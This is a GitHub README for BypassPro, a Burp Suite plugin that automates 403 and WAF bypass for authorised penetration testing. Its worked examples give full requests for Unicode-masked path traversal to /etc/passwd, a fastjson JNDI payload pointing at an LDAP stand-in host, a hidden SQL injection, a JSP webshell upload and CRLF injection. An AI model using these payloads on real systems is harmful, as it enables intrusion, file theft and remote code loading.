0x727/BypassPro
GitHub: 0x727/BypassPro
一款用于自动化绕过认证和 WAF 的 Burp Suite 插件,辅助渗透测试中的权限绕过。
Stars: 1269 | Forks: 59
语言 / Language: [简体中文](README.md) | [English](README_EN.md)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担。
### 介绍
作者:[p0desta](https://github.com/p0desta/),[Y0!0](https://github.com/hooray195),[0cat](https://github.com/0cat-r)
团队:[0x727](https://github.com/0x727),未来一段时间将陆续开源工具,地址:[https://github.com/0x727](https://github.com/0x727)
定位:在攻防和渗透测试中,可以更加方便的找到一些绕过的点,比如403bypass,比如shiro的权限绕过
语言:Java 8(`pom.xml` 中 `source/target=8`,产物可在 Java 8 环境运行;构建可使用 JDK 8+)
功能:权限绕过的自动化bypass的burpsuite插件。
此项目是基于p0desta师傅的项目[https://github.com/p0desta/AutoBypass403-BurpSuite](https://github.com/p0desta/AutoBypass403-BurpSuite)进行二开的。用于权限绕过,403bypass等的自动化bypass的Burpsuite插件。感谢p0desta师傅的开源,本二开项目已经过p0desta师傅本人允许开源。
### 快速目录
- [快速开始(推荐流程)](#快速开始推荐流程)
- [三个入口怎么选](#1三个入口怎么选)
- [只看案例](#历史案例)
- [Gh0st Bits 实操案例](#gh0st-bits-实操案例)
- [历史案例](#历史案例)
- [当前版本 BypassPro 5.1 更新](#当前版本-bypasspro-51-更新)
- [模式重构](#1-模式重构)
- [Manual WAF 工具区重构](#2-manual-waf-工具区重构)
- [Gh0st Bits 专区](#3-gh0st-bits-专区)
- [Raw Socket 发送](#4-raw-socket-发送)
- [Auto WAF 中的 Ghost Bits 绕过](#5-auto-waf-中的-ghost-bits-绕过)
- [配置重构](#6-配置重构)
- [Dashboard 与结果展示](#7-dashboard-与结果展示)
- [Auto-权限绕过](#2-auto-权限绕过)
- [Auto-WAF 绕过](#3-auto-waf绕过)
- [Manual-WAF 工作台](#4-manual-waf-工作台)
### 当前版本 BypassPro 5.1 更新
BypassPro 5.1 是一次大版本重构:从单一的 403 bypass 工具,扩展为“自动权限绕过 + 自动 WAF 绕过 + 手动 WAF 工作台”的组合型 Burp 插件。本版本重点增强了手动构造能力、Ghost Bits 测试能力、Raw Socket 发包能力和配置可维护性。
#### 1. 模式重构
**Auto-权限绕过**
- 入口:`Send to BypassPro (Access Control)`,以及 Dashboard 中的 Auto Scan。
- 配置:`profiles.auto_access_bypass`。
- 用途:面向 401/403、权限绕过、访问控制绕过场景。
- 规则:suffix / prefix / boundary_insert / headers。
**Auto-WAF绕过**
- 入口:`Send to BypassPro (WAF)`。
- 配置:`profiles.auto_waf_bypass`。
- 用途:对指定请求自动生成 WAF 绕过变体。
- 能力:
- Path / Header 规则变形。
- Body Charset 编码:UTF-16 / UTF-16BE / UTF-16LE / UTF-32 / UTF-32BE / UTF-32LE / IBM037。
- Body Transform:Gzip。
- Content-Type 伪装:form-urlencoded / multipart / text/plain。
- Ghost Bits 自动绕过:基于原请求已有 token 生成 `eq` / `parser` 候选,场景模板默认关闭。
**Manual-WAF工作台**
- 入口:`Send to BypassPro (Manual WAF)`。
- 用途:把请求送入手动工作台,像 Repeater 一样编辑、组合、发送,但工具栏专门面向 WAF/解析差异绕过。
- 特点:
- 使用 Burp 原生 `IMessageEditor`,支持 Pretty / Raw / Hex。
- 支持 Host / Port / HTTPS 手动修改。
- 支持 Send / Cancel / Reset / Undo / Redo。
- 支持 Follow Redirect,最大跳转次数读取 `general.max_redirects`,默认 3。
- 支持 History,便于回放和对比。
#### 2. Manual WAF 工具区重构
手动工具区重新按用途分区,不再把所有按钮堆在一起:
- **Obfuscation & Noise**:控制字符、噪音字符、路径混淆、后缀/分段/边界变形。
- **Data Encoding**:URL 编码、Path 编码、双重 URL、混合编码、Unicode 转义、Base64、字符集编码、charset 参数位置变形;安全字符无变化时会询问是否强制编码。
- **Char Mutation**:全角、同形字、零宽字符、大小写变形。
- **Header Spoof**:X-Forwarded-For、X-Client-IP、X-Remote-Addr、Referer、HTTP/1.0 等头部伪造。
- **Body Transform**:form / multipart / JSON 转换、Gzip、HTTP/1.0。
- **Gh0st Bits**:Java char -> byte 截断、宽松 parser、模板化漏洞链构造。
选区规则也做了统一:
- 有选区时,优先处理用户选中的内容。
- 多处匹配时,弹出作用域选择:选区处 / 全部 / 第 N 处。
- 对 URL 编码这类“安全字符默认无变化”的操作,会先确认作用域,再询问是否强制把每个 UTF-8 字节编码成 `%XX`。
- 没有选区且无法安全推断位置时,会提示用户先选中。
- 支持保持光标位置,避免点击工具后编辑器跳回开头。
#### 3. Gh0st Bits 专区
新增专门的 **Gh0st Bits** 工作区,用于测试 Java 生态中 `char` 到 `byte` 截断、宽松 hex 解析、多阶段 decode 等解析差异。
手动区能力:
- **Ghost 编码**
- 最小集:只变形危险分隔符,如 `. / \ % @ : ; ? & = ' " < > CR LF`。
- 全量:选区内 ASCII 全部变形。
- 字母 / 数字 / 符号:按字符类型变形。
- 换组:保持 Ghost 还原结果不变,重新生成另一组 Ghost 字符。
- **Ghost 还原**
- 预览:查看选区低 8 位或低 7 位还原结果。
- 候选:选中单个 ASCII 字符,查看可用 Ghost 字符候选。
- 8-bit:模拟 `ch & 0xFF`。
- 7-bit:模拟 Tomcat RFC2231 中的 `ch & 0x7F`。
- **常用载荷**
- `.%u002e`
- `CRLF`
- `.jsp`
- `@type`
- `class`
- **JSON 解析器**
- fastjson `\x4`_
- fastjson `\u`
- jackson `\u`
- Unicode 数字
- **URL / 文件解析器**
- Jetty `%2>`
- 全角 URL
- Tomcat `%HH`
- **模板**
- 模板来自 `profiles.manual_waf_bypass.ghost_bits.templates`。
- 支持 path / filename / header_value / selection 四类 target。
底部紧凑预览会显示:
- 当前选区。
- Ghost 还原结果。
- URL decode 后结果。
- 风险提示,如 path、separator、CRLF、percent、quote、angle 等。
##### Ghost Bits 认知纠偏
现在很多资料把 Ghost Bits 直接和 `阮严灵丰丰甲来` 绑定在一起,这是不准确的。
`阮严灵丰丰甲来` 只是 CVE-2025-41242 这条利用链里,为了构造中间态 `.%u002e` 选出来的一组字符:
阮 -> .
严 -> %
灵 -> u
丰 -> 0
丰 -> 0
甲 -> 2
来 -> e
阮严灵丰丰甲来
低 8 位还原后是:
.%u002e
注意最后一个字是 `来`,不是 `田`。`来` 的低 8 位是 `0x65`,也就是 `e`;`田` 的低 8 位是 `0x30`,也就是 `0`。
更重要的是:Ghost Bits 不是固定 payload,也不是“中文等于漏洞”。它的本质是:
攻击者先设计后端最终要看到的 ASCII / 中间态
↓
再为每个字符挑选低 8 位相同的 Unicode 字符
↓
WAF 看到 Unicode
↓
后端某一层如果发生 char -> byte 截断,就看到原始 ASCII / 中间态
所以 `阮严灵丰丰甲来` 只是一个例子。任何满足 `unicodeChar & 0xff == targetAscii` 的字符都可以作为 Ghost 字符。
这也是 BypassPro 把 Gh0st Bits 拆成三类的原因:
- **Ghost 编码**:把用户选中的已有 payload 做低 8 位等价变形。
- **解析差异**:处理 `%xx`、`\uXXXX`、`\xHH`、`filename`* 这类解析器差异。
- **模板**:处理 CVE-2025-41242、Tomcat filename、Jetty `%2>` 这类完整漏洞链。
**换组(Shuffle)** 的意义也在这里:Ghost 字符不是固定的。只要低 8 位相同,显示字符可以换很多组。选中已 Ghost 化的文本后点击 `Shuffle`,还原结果不变,但 Unicode 字符会换成另一组。这可以用来判断 WAF 是在拦某组字面量,例如 `阮严灵丰丰甲来`,还是做了真正的低位还原检测。
##### Gh0st Bits 实操案例
下面案例都假设你已经把请求右键送入 `Manual WAF` 工作台。请只在授权测试、靶场或自有环境中使用。
###### 案例 A:CVE-2025-41242 / Spring Static Path Traversal
这个场景最容易被误解。它不是把 `../` 直接 Ghost 化,而是先构造中间态 `.%u002e`,再把这个中间态 Ghost 化。
目标链路是:
阮严灵丰丰甲来
↓ 低 8 位还原
.%u002e
↓ 后续 URI / URL decode
..
原始请求示例:
GET / HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
推荐做法一:按原子能力手动组合。
1. 先把原始请求改成明确的路径穿越语义:
GET /../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
1. 在 path 里选中要处理的 `../` 片段。
2. 进入 `Obfuscation & Noise -> Traversal`,点击 `.%u002e`。
这一步的作用是把标准路径穿越 token 变成 Spring 链路需要的中间态:
GET /.%u002e/.%u002e/.%u002e/.%u002e/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
1. 进入 `Gh0st Bits`,依次选中每个 `.%u002e`,点击 `常用载荷 -> .%u002e`,或点击 `Ghost 编码 -> 最小集`。
这一步把中间态 Ghost 化:
阮严灵丰丰甲来 -> .%u002e
请求会变成类似:
GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
1. 为了触发 Spring `StringUtils.uriDecode` 的 `changed=true` 分支,需要保留至少一个合法 `%xx`。常见写法是把目标文件名最后的 `d` 变成 `%64`,让 `passwd` 变成 `passw%64`。
`%64` 不是魔法值,也不是必须编码 `d`。它的核心作用是让解码函数进入 `baos.write(ch)` 路径;如果没有任何 `%xx`,某些链路会直接返回原字符串,Ghost 字符就不会发生低位还原。
最终请求类似:
GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64 HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
1. Send 模式用 `Auto` 或 `Raw`。
注意:不同链路的解码粒度可能不同。如果目标按整条 path 解码,一个 `%xx` 可能触发整条 path 的 `changed=true`;如果目标按每个 path segment 独立解码,则每个 Ghost segment 可能都需要自己的 `%xx` 触发点,例如 `/%2e严灵丰丰甲来/` 这种单段形态。
这个过程体现的是组合能力:
真实攻击语义:../../../../etc/passwd
↓ Obfuscation & Noise
中间态:.%u002e/.%u002e/.%u002e/.%u002e/etc/passwd
↓ Gh0st Bits
显示形态:阮严灵丰丰甲来/...
↓ Data Encoding
decode trigger:passw%64
为什么不是直接选中 `../` 然后 Ghost?
../
↓ 直接 Ghost 化
Ghost 还原后还是 ../
这会让后续路径规范化更早看到 `../`,不一定能绕过 Spring 的字面量检查。CVE-2025-41242 这条链需要的是 `.%u002e` 这个中间态。

推荐做法二:直接用模板。
1. 进入 `Gh0st Bits`。
2. 点击 `模板` 中的 `Spring Path`。
3. 插件会把请求 path 替换为 Spring 静态资源穿越风格 payload,类似:
GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64 HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
1. Send 模式选择 `Auto` 或 `Raw`。
2. 如果目标链路匹配,后端可能按类似下面的路径解析:
/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64
↓
/.%u002e/.%u002e/.%u002e/etc/passwd
↓
/../../../etc/passwd
###### 案例 B:fastjson `\x4_` 绕过 `@type`
目标:让 WAF 看不到 `@type`,但让 fastjson 宽松解析后仍得到 `@type`。
原始请求:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
WAF 视角:直接看到 `@type`,很容易拦截。
普通变形:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\x40type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
WAF 视角:如果会识别 `\x40`,仍然能还原出 `@type`。
Manual WAF 操作:
1. 选中 JSON key 里的 `@type`。
2. 点击 `Gh0st Bits -> JSON 解析器 -> fastjson \x4_`。
3. 工作台会把 key 改成类似:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\x4Jtype":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
后端可能看到:
\x4J -> @
\x4_ -> @
这里不是标准低 8 位 Ghost Bits,而是 fastjson `\x` 宽松 hex 表达。它的价值是让 WAF 和 fastjson 对 `\x4?` 的理解不一致。
###### 案例 C:fastjson `\u0040` Unicode 数字绕过
目标:仍然构造 `@type`,但把 `\u0040` 里的数字换成 fastjson 可能接受的 Unicode 数字。
原始请求:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
普通 Unicode 变形:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\u0040type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
WAF 视角:很多 WAF 会把 `\u0040` 解成 `@`,继续拦截。
Manual WAF 操作:
1. 选中 `\u0040`,或者选中 `@type`。
2. 点击 `Gh0st Bits -> JSON 解析器 -> fastjson \u`。
3. 也可以点击 `Unicode 数字`,只替换 escape 里的数字位。
4. 变形后类似:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\u٠٠٤٠type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
后端可能看到:
\u٠٠٤٠ -> \u0040 -> @
注意:这个案例依赖 fastjson 对 Unicode digit 的处理差异。它不是“所有 JSON 解析器都通用”的 Ghost Bits。
###### 案例 D:Jackson `\u` / charToHex 低 8 位
目标:让 WAF 看不到标准 JSON 字段和值里的敏感字符串,但 Jackson 的 `charToHex(ch & 0xff)` 仍能把 `\uXXXX` escape 解析回来。
原始请求:
POST /api/query HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"username":"admin' and 1='1","tenantId":"1001","page":1,"size":20}
WAF 视角:能直接看到 `and 1='1` 这类敏感片段。
普通 Unicode 转义:
POST /api/query HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065":"\u0061\u0064\u006d\u0069\u006e\u0027\u0020\u0061\u006e\u0064\u0020\u0031\u003d\u0027\u0031","tenantId":"1001","extra":"..."}
WAF 视角:如果会做 JSON / Unicode 预解析,还是能还原出 `username` 和 `admin' and 1='1`。
Manual WAF 操作:
1. 选中 `username`、SQL 片段,或者选中已经写好的 `\uXXXX` 片段。
2. 点击 `Gh0st Bits -> JSON 解析器 -> jackson \u`。
3. 工作台会把每个 `\uXXXX` 的 4 个 hex 位替换成低 8 位相同的 Ghost 字符,变形后类似:
POST /api/query HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\u丰丰男丵\u丰丰男耳\u丰丰茶丵...":"\u丰丰茶失...","tenantId":"1001","extra":"..."}
这里的字符只是示例,实际生成的 Ghost 字符可能不同。关键是还原关系要成立:
\u丰丰男丵 -> 还原后是 \u0075 -> u
\u丰丰男耳 -> 还原后是 \u0073 -> s
\u丰丰茶丵 -> 还原后是 \u0065 -> e
...
整体解析后仍是 username / admin' and 1='1
如果是 SQL 注入类 value,也按同样方法处理:先选中危险 value,再点 `jackson \u`,最后看底部 Ghost 还原预览是否能还原成原始 payload。
限制:
- 这个场景依赖 Jackson 走 `ReaderBasedJsonParser` 的 `char[]` 输入。
- Spring Boot 常见 JSON 请求默认可能走 `UTF8StreamJsonParser` 的 `byte[]` 输入,不一定触发。
- 所以它适合 Manual WAF 做验证,不适合 Auto 默认当作漏洞确认。
###### 案例 E:Tomcat multipart filename 绕过
目标:WAF 看不到 `.jsp`,但 Tomcat RFC2231 filename 解析后保存成 `.jsp`。
原始请求:
POST /upload HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----b
------b
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: text/plain
test
------b--
WAF 视角:直接看到 `filename="shell.jsp"`。
普通 RFC2231 / URL 变形:
POST /upload HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----b
------b
Content-Disposition: form-data; name="file"; filename*="UTF-8''shell.%6asp"
Content-Type: text/plain
test
------b--
WAF 视角:如果会 decode `%6a`,仍然看到 `.jsp`。
Manual WAF 操作:
1. 先把 `filename=` 改成 `filename*="UTF-8''shell.jsp"`。
2. 如果要走 `%HH` 解析链,选中 `j`,点击 `Gh0st Bits -> URL / 文件解析器 -> Tomcat %HH`。不要选中 `6a`,这个按钮接收的是原始字符,不是 hex 文本。
3. 如果要走裸字符低位还原链,选中 `.jsp`,点击 `常用载荷 -> .jsp`。
4. `%HH` 变形后类似:
POST /upload HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----b
------b
Content-Disposition: form-data; name="file"; filename*="UTF-8''shell.%鸶繡sp"
Content-Type: text/plain
test
------b--
后端可能看到:
%鸶繡 -> %6a -> j
shell.%鸶繡sp -> shell.jsp
如果涉及 7-bit 分支,切到 `Ghost 还原 -> 7-bit` 看 `ch & 0x7f`;普通 `(byte)c` 场景看 `8-bit`。实际生成字符可能不是 `鸶繡`,以底部还原预览为准。
###### 案例 F:Jetty `%2>` loose hex
目标:让 WAF 看不到标准 `%2e%2e`,但 Jetty 历史宽松解析链可能把 `%2>` 当成 `%2e`。
原始请求:
GET /setup/setup-s/%2e%2e/%2e%2e/log.jsp HTTP/1.1
Host: 127.0.0.1:9090
Connection: close
WAF 视角:decode 后就是 `../../log.jsp`,容易拦截。
Manual WAF 操作:
1. 选中 path 中的单个 `.` 或单个 `%2e`。
2. 点击 `Gh0st Bits -> URL / 文件解析器 -> Jetty %2>`。
3. 变形后类似:
GET /setup/setup-s/%2>%2>/%2>%2>/log.jsp HTTP/1.1
Host: 127.0.0.1:9090
Connection: close
后端可能看到:
%2> -> %2e -> .
%2>%2> -> ..
这个按钮只负责把已有点号 token 改成 Jetty loose hex 形态。它不是把任意 path 变成 Openfire payload;完整 Openfire 风格路径应使用模板或手工组合。
###### 案例 G:Header CRLF / HttpClient 类截断
目标:业务层看起来只是一个 header value,后端二次转发时如果经过存在 `char -> byte` 截断的 Java 协议写入库,字节层可能还原出 CRLF。
原始请求:
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Token: AAAABBBB
Connection: close
Manual WAF 操作:
1. 选中 `X-Token` 的值中要插入换行的位置,例如 `AAAA` 后面。
2. 点击 `Gh0st Bits -> 常用载荷 -> CRLF`。
3. 变形后类似:
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Token: AAAA瘍瘊BBBB
Connection: close
Ghost 还原预览应显示:
瘍瘊 -> \r\n
目标应用如果后续把该值交给 Apache HttpClient `<= 4.5.9`、SMTP/Mail 或其他存在 `char -> byte` 截断的 Java 协议写入链,字节层可能变成:
X-Token: AAAA
BBBB
注意:单个入站 HTTP 请求不会因为这里出现 `瘍瘊` 就自动拆 header。关键是后端二次转发或协议写入链是否存在低位还原。Auto-WAF 默认不会凭空注入 CRLF,只有原请求已有 CRLF 编码态才会生成候选。
##### Gh0st Bits 当前能力边界
已经支持:
- 通用 Ghost 编码:最小集 / 全量 / 字母 / 数字 / 符号。
- 换组:保持 Ghost 还原结果不变,重新生成另一组 Unicode 字符。
- 8-bit / 7-bit Ghost 还原预览与候选字符查询。
- 常用原子载荷:`.%u002e`、CRLF、`.jsp`、`@type`、`class`。
- 解析差异原子:fastjson `\x4_`、fastjson `\u`、Jackson `\u`、Jetty `%2>`、Tomcat `%HH`、全角 URL。
- YAML 模板:Spring Path、Tomcat filename、Jetty loose hex、fastjson / jackson / SMTP / BCEL 前缀等场景模板。
- Raw Socket:用于发送 request line / headers 中含非 ASCII Ghost 字符的请求。
不是一键完整链:
- BCEL:当前只辅助处理已有字符串或模板前缀,没有 `class bytes -> gzip -> BCEL encode -> Ghost` 的完整生成器。
- JDK URLDecoder:可以通过 Unicode 数字、全角 URL 等原子能力手工组合,但没有专用模板。
- Tomcat 全 Ghost 文件名:可以用通用 Ghost 编码或 `.jsp` 原子做裸字符形态;`Tomcat %HH` 只负责 `%HH` hex 解析形态。
- Nashorn / JSP:资料中这类解析器通常有严格 hex 校验,不应当作可用 Ghost Bits 案例。
#### 4. Raw Socket 发送
Manual WAF 增加三种发送模式:
- **Auto**:默认模式。请求行或 headers 中出现非 ASCII 字节时自动走 Raw Socket。
- **Burp**:强制使用 Burp `makeHttpRequest`。
- **Raw**:强制使用 Raw Socket。
Raw Socket 用于复现 Burp / curl / 浏览器可能无法稳定发送的请求,例如路径中直接携带 Unicode Ghost Bits 字符的场景。Raw 模式会绕开 Burp 的客户端规范化,并禁用证书校验,适合 CTF、靶场和授权测试环境。
限制:Raw Socket 是插件自己直连目标,不读取 Burp 的 Upstream Proxy / SOCKS Proxy 配置。需要内网代理链路时,请优先用 `Burp` 模式,或确认当前网络能直连目标。
#### 5. Auto WAF 中的 Ghost Bits 绕过
Auto-WAF 的 Ghost Bits 默认遵循一个原则:只变形原请求里已经存在的内容,不自动发完整漏洞链 payload。
- 配置位置:`profiles.auto_waf_bypass.options.ghost_bits`。
- 支持开关:
- `enabled`
- `raw_socket`
- `max_variants`
- `templates`
- `generic`
- 默认行为:
- `eq`:只对 query/form/json/filename 中已有可疑 token 做低 8 位等价变形。
- `parser`:只对已有 `%xx` / Unicode escape / x escape 等解析结构做差异变形。
- 普通 path 不做通用 Ghost 化,路径类漏洞链交给显式模板。
- 等价变形会校验 `fold(mutated scope) == original scope`。
- 场景模板:
- Spring Static Path Traversal / CVE-2025-41242 风格路径默认关闭。
- Jetty `%2>` Loose Hex 默认关闭。
- Tomcat JSP filename 默认关闭。
- Fullwidth URL Traversal 默认关闭。
- fastjson / jackson / BCEL / SMTP 相关模板也默认关闭。
- 这些模板属于明确 opt-in 的漏洞链探测,开启后可能替换 path 或 filename。
- 等价变形策略:
- 支持最小集、全量、字母、数字、符号。
- 配置键分别是 `minimal` / `full` / `letters` / `digits` / `symbols`。
- 默认只开“最小集”策略,避免自动扫描噪声过大。
Auto 模式会根据请求内容判断是否需要 Raw Socket。Dashboard 的 Reason 会显示 `ghost:eq` / `ghost:parser` / `ghost:template`、scope、token、sender、fold 摘要和差异原因,并对超长 payload 做压缩展示。Auto Ghost Bits 是绕过候选,不等于漏洞确认。
#### 6. 配置重构
配置文件升级为明确的 profile 结构:
general:
threads: 5
max_redirects: 3
similarity_threshold: 0.85
lang: zh
profiles:
auto_access_bypass:
...
auto_waf_bypass:
...
manual_waf_bypass:
ghost_bits:
...
说明:
- 5.x 不再兼容旧的 `profiles.access_control` / `profiles.waf`。
- 外置配置路径:`~/.config/BypassPro/BypassPro-config.yaml`。
- 首次启动会从 jar 内置模板生成配置。
- Config 页面支持 Reload / Reinit / 保存通用配置 / 保存 WAF 选项。
- 支持界面语言切换:`general.lang: zh | en`。
- 支持配置 Follow Redirect 最大跳转次数:`general.max_redirects`,Dashboard 自动模式和 Manual WAF 共用,默认 3。
#### 7. Dashboard 与结果展示
Dashboard 也做了重构,不再只是简单堆结果表:
- 顶部控制条改为紧凑布局:
- `AutoScan` 开关:控制是否监听 Proxy 中的 401/403 响应并自动扫描。
- `Follow Redirect` 开关:控制 Dashboard 自动模式是否跟随 `301/302/303/307/308`,默认关闭。
- `Threads`:当前扫描线程数,默认读取 `general.threads`。
- `Req: 已完成 / 总数`:显示当前任务进度。
- 进度条:扫描中为动态进度,完成后显示 100%。
- `Err`:错误请求计数。
- `Clear`:清空 Dashboard 结果,并重置计数。
- `Follow Redirect` 按任务发起时快照生效:同一批 AutoScan / Send 请求使用发起时的开关状态和 `general.max_redirects`,中途切换只影响后续任务。
- 相似度阈值不再放在 Dashboard 顶部,统一从 Config 的 `general.similarity_threshold` 读取。
- Dashboard 表格列调整为:
- `id`
- `tool`
- `Title`
- `Method`
- `Length`
- `Request URL`
- `MIME Type`
- `HTTP Status`
- `Redirect`
- `Reason`
- 表格支持排序,并为常用列设置更合理的宽度。
- `Request URL` 固定显示 payload 实际作用的 fuzz 目标。即使开启 Follow Redirect 并最终跳到其它 URL,主 URL 也不会被跳转后的地址覆盖。
- `Redirect` 列显示跳转策略和实际跳数:
- `false`:本批任务未启用 Follow Redirect。
- `true 0/3`:启用 Follow Redirect,但没有发生跳转。
- `true 1/3`:启用 Follow Redirect,实际跟随 1 次,最大 3 次。
- 有跳转链时,鼠标悬停可查看完整链路,例如 `/download.do;.css -> /nolimit.jsp`。
- `Reason` 列展示入表原因,例如:
- `status:403 -> 200`
- `sim:0.42 < 0.85`
- `ghost:spring_static_lfi; target:path; sender:raw`
- `ghost file signature matched`
- `Reason` 只表达入表判断依据,不混入 Follow Redirect 开关或跳转次数。
- `Reason` 列支持 tooltip,内容较长时可以悬停查看完整原因。
- `tool` 列使用短标签区分来源:
- `auto`
- `send access`
- `send waf`
- `manual waf`
- `auto-waf/ghost`
- `send-waf/ghost`
- 下方仍然是 Request / Response 双窗格,选中表格行后自动展示对应请求和响应。
- Request / Response 使用 Burp 原生消息编辑器能力,支持 Raw / Hex / Render 等视图。
Manual WAF 底部也增加了当前请求摘要、payload hints、diff 状态和 Gh0st Bits 还原预览。Tooltip 支持多行展示,鼠标悬停时显示每个按钮的用途、适用场景和操作方式。
#### 1.三个入口怎么选
BypassPro 5.1 主要有四个使用入口:
| 入口 | 位置 | 适合场景 | 配置 |
| ---------------------------------- | ----------------------- | ------------------------ | ----------------------------- |
| AutoScan | Dashboard 勾选 `AutoScan` | 自动监听 Proxy 中的 401/403 响应 | `profiles.auto_access_bypass` |
| Send to BypassPro (Access Control) | 请求右键菜单 | 对单个请求做权限绕过测试 | `profiles.auto_access_bypass` |
| Send to BypassPro (WAF) | 请求右键菜单 | 对单个请求做自动 WAF 绕过测试 | `profiles.auto_waf_bypass` |
| Send to BypassPro (Manual WAF) | 请求右键菜单 | 进入手动工作台,自己组合 payload | `profiles.manual_waf_bypass` |
简单选择:
- 看到 401/403,想批量找权限绕过点:用 `AutoScan`。
- 想对某一个请求做权限绕过:右键 `Access Control`。
- 想自动尝试 WAF 绕过:右键 `WAF`。
- 想自己选区、编码、组合、Raw 发包:右键 `Manual WAF`。
#### 2. Auto-权限绕过
Auto-权限绕过用于 401/403、未授权访问、访问控制绕过等场景。
入口:
- Dashboard 勾选 `AutoScan`。
- 或者在请求上右键 `Send to BypassPro (Access Control)`。
配置位置:
profiles:
auto_access_bypass:
主要规则:
- `suffix`:在 path 末尾追加变体。
- 例如 `.js`、`.css`、`/.`、`?`、`;param=1`。
- `prefix`:在 path 的每一层前插入变体。
- 例如 `;/`、`./`、`%2e/`、`%252e/`。
- `boundary_insert`:在目录边界插入变体。
- 例如 `;`、`;param=1`、`%00`、`%2e`。
- `headers`:添加或替换伪造头。
- 例如 `X-Forwarded-For`、`X-Client-IP`、`X-Remote-Addr`、`Referer`。
AutoScan 触发条件:
- 监听 Proxy 响应。
- 响应状态码为 `401` 或 `403` 时触发。
- 静态资源会被过滤,避免扫描图片、JS、CSS、字体等无意义资源。
Dashboard 入表逻辑:
- 插件会对原请求生成一批变体并重放。
- 变体响应命中候选状态码后,才会进入差异判断。
- 如果响应相似度低于 `general.similarity_threshold`,或状态码类别发生变化,就会写入 Dashboard。
- `Reason` 列会显示入表原因,例如:
- `status:403 -> 200`
- `sim:0.42 < 0.85`
- `class changed`
#### 3. Auto-WAF绕过
Auto-WAF绕过用于对某一个请求自动生成 WAF 绕过变体。
入口:
- 在 Proxy / Target / Repeater 等位置选中请求。
- 右键 `Send to BypassPro (WAF)`。
配置位置:
profiles:
auto_waf_bypass:
自动变体来源:
- Path / Header 规则:
- `suffix`
- `prefix`
- `boundary_insert`
- `headers`
- Body 编码:
- UTF-16
- UTF-16BE
- UTF-16LE
- UTF-32
- UTF-32BE
- UTF-32LE
- IBM037
- Body 变换:
- Gzip 压缩请求体。
- Content-Type 伪装:
- `application/x-www-form-urlencoded`
- `multipart/form-data`
- `text/plain`
- Ghost Bits 自动绕过:
- `eq`:只对原请求已有的可疑 token 做低 8 位等价变形。
- 作用域包括 query value、form value、JSON string、multipart filename。
- 典型 token 包括 `../`、`@type`、边界清晰的 `class`、`Runtime`、`union/select`、`.jsp`、CRLF 编码态等。
- 低位还原校验必须满足:`fold(mutated scope) == original scope`。
- `parser`:只对原请求已有解析结构做差异变形。
- 例如已有 `%2e` 时尝试 Jetty loose hex `%2>`。
- 例如已有 `\u0040` / `\x40` 时尝试 Unicode digit / loose hex 表达。
- 普通 path segment 不做通用 Ghost 化,不凭空替换成 `/etc/passwd`、Openfire setup path 等完整漏洞链。
- Spring Static Path Traversal、Jetty `%2>`、Tomcat filename、Fullwidth URL Traversal、fastjson / jackson / BCEL / SMTP 等场景模板保留在配置里,但默认关闭,必须明确勾选才会发送。
WAF Options 配置位置:
profiles:
auto_waf_bypass:
options:
body_charset:
body_transform:
content_type_spoof:
ghost_bits:
说明:
- Body 编码类变体只对存在 body 的请求生效。
- `multipart` 会尽量把普通表单转换为 multipart;非表单请求则偏向 Content-Type 伪装。
- Ghost Bits 默认是表达形态绕过候选,不是漏洞利用确认。
- Auto 结果只说明该请求存在可尝试的 Ghost Bits / parser 差异表达;能否真正利用,需要结合响应差异、后端行为和手动复测。
- 场景模板属于明确 opt-in 的漏洞链探测,开启后可能替换 path 或 filename。
- 如果 Ghost Bits 请求需要保留原始 Unicode path/header,插件会按配置走 Raw Socket。
- `raw_socket: true` 时启用。
- Dashboard 的 `tool` 可能显示为 `send-waf/ghost`。
- `Reason` 会显示 `ghost:eq` / `ghost:parser` / `ghost:template`、scope、token、sender、fold 摘要等信息。
#### 4. Manual-WAF 工作台
